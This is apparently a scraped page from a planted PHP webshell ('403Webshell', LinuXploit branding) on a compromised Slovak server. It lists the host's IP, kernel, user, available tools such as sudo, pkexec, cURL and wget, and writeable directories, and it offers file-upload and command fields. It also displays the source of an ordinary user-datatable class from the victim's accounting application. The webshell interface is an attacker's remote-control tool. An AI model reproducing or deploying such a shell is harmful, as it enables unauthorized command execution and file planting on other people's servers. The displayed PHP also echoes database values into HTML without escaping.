403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/users/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/users/code/UsersExtendedDatatable.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace modules\users\code;

/**
 * Description of UsersExtendedDatatable 
 *
 * @author maros
 */
class UsersExtendedDatatable extends \modules\extendedDatatable\code\ExtendedDatatable {

    private $loggedUser;

    public function __construct() {
        parent::__construct("/modules/users/", "users_datatable");
        $this->loggedUser = \app\classes\BasicUser::getLoggedUser();
    }

    public function processRow($array, $key, $params = array()) {
        $actions = array(
            "<span data-toggle='tooltip' title='" . $this->t->_get("ZmazaƄ") . "' class='btn readOnlyHidden btn-danger btn-xs' onclick='deleteItem(" . $array["id"] . ")'><i class='fa fa-trash'></i></span>",
            "<span data-toggle='tooltip' title='" . $this->t->_get("ZobraziƄ") . "' style='margin-left: 5px' class='btn btn-primary btn-xs' onclick='manageItem(" . $array["id"] . ")'><i class='fa fa-eye'></i></span>",
        );

        $array["first_name"] = "<span style='color: " . $array["color"] . "' class='fa fa-user'></span> " . $array["first_name"];

        $this->data[$key] = array(implode("", $actions)) + $array;
    }

    public function getFixedSqlCondition() {
        return "users.type!='" . \app\constants\UserType::CUSTOMER . "'";
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit